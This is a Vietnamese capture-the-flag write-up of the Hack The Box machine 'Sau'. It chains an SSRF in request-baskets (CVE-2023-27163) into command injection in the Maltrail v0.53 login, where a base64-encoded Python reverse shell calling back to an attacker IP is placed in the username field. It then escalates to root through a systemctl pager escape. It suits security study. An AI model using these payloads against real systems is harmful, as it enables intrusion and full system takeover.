[Write-up] HACKTHEBOX Machine: Sau - SSRF to Command Injection
Giới thiệu
Machine Sau là 1 máy có mức độ Easy trong Hackthebox, tuy nhiên để có thể hoàn thành được bài này chúng ta cần phải có kỹ năng tìm kiếm thông tin về các CVE mới được phát hiện gần đây, sau khi tìm kiếm được thông tin thì cũng cần hiểu cách mà lỗ hổng đó hoạt động như thế nào và khai thác ra sao. Như vậy machine này rất đáng để chúng ta làm và trải nghiệm.
1. Recon
Đầu tiên khi khai thác bất kỳ máy nào chúng ta sẽ thực hiện Nmap để kiểm tra các dịch vụ đang chạy trên server
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS 10.10.11.224
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-18 02:55 EST
Nmap scan report for 10.10.11.224
Host is up (0.26s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp filtered http
55555/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 22.85 seconds
Hệ thống mở 1 cổng 22 ssh, 80 http bị filter và 55555 không xác định
2. Exploit
Truy cập vào port 55555 ta được
Đây là ứng dụng requests-baskets ver 1.2.1. Requests-baskets là một ứng dụng web được xây dựng để nhận các requests, được gọi là basket. Khi tạo, người dùng có thể chỉ định một máy chủ khác để chuyển tiếp yêu cầu. Vấn đề ở đây là người dùng có thể chỉ định bất cứ các dịch vụ nào tuỳ ý, chẳng hạn như các ứng dụng bị chặn truy cập với người dùng bên ngoài. Nó hoạt động giống như là webhooks, requestrepo, ...
Search trên google thì có CVE về request-baskets: https://github.com/entr0pie/CVE-2023-27163/tree/main
Nó bị dính lỗi SSRF cho phép ta truy cập đến cổng 80 của server đã bị chặn với người dùng bên ngoài. Thực hiện khai thác mã khai thác có sẵn
┌──(kali㉿kali)-[~]
└─$ ./CVE-2023-27163.sh http://10.10.11.224:55555 http://127.0.0.1:80
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163
> Creating the "wltqwb" proxy basket...
> Basket created!
> Accessing http://10.10.11.224:55555/wltqwb now makes the server request to http://127.0.0.1:80.
> Authorization: 0oXiXiXcIftnHeBqA9mb7nP4kysO9Xm_iZCUA_azEgdC
Truy cập http://10.10.11.224:55555/wltqwb ta có thể truy cập được cổng 80, ứng dụng là matrail
Sau khi thực hiện directory scan ta được đường dẫn /index truy cập vào http://10.10.11.224:55555/wltqwb/index ta được 1 trang đăng nhập:
Sau khi research thì phiên bản Maltrail v0.53 này bị dính Command injection thông qua login page ở phần username input, dưới đây là phần code bị lỗi cụ thể ở parameter: shell=True
subprocess.check_output("logger -p auth.info -t \"%s[%d]\" \"%s password for %s from %s port %s\""
% (NAME.lower(), os.getpid(),"Accepted" if valid else "Failed", params.get("username"),
self.client_address[0], self.client_address[1]), stderr=subprocess.STDOUT, shell=True)
Dưới đây là đoạn code reverse shell
export RHOST="10.10.16.10";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
Base64 Encode và nhập vào username
;`echo+"ZXhwb3J0IFJIT1NUPSIxMC4xMC4xNi4xMCI7ZXhwb3J0IFJQT1JUPTQ0NDQ7cHl0aG9uIC1jICdpbXBvcnQgc3lzLHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KChvcy5nZXRlbnYoIlJIT1NUIiksaW50KG9zLmdldGVudigiUlBPUlQiKSkpKTtbb3MuZHVwMihzLmZpbGVubygpLGZkKSBmb3IgZmQgaW4gKDAsMSwyKV07cHR5LnNwYXduKCIvYmluL2Jhc2giKSc"|base64+-d|bash`;
Thực hiện lắng nghe và đang truy cập thành công
Sử dụng sudo -l
Nó cho phép chạy /usr/bin/systemctl status trail.service
với quyền sudo mà không cần nhập password
Sau 1 hồi reseach ở trên đây
Thực hiện như sau:
puma@sau:/opt/maltrail$ sudo /usr/bin/systemctl status trail.service
sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
- (press RETURN)!sh
!sshh!sh
# whoami
whoami
root
3. Recomendation
- Cập nhật bản mới của Request Baskets
- Cập nhật bản mới của Maltrail. Nhà phát triển đã fix lỗi nãy, phần so sánh có thể xem ở đây
4. Reference
[1]. Maltrail-v0.53 POC: https://github.com/spookier/Maltrail-v0.53-Exploit/blob/main/README.md
[2]. Request Baskets CVE: https://github.com/entr0pie/CVE-2023-27163/tree/main
All rights reserved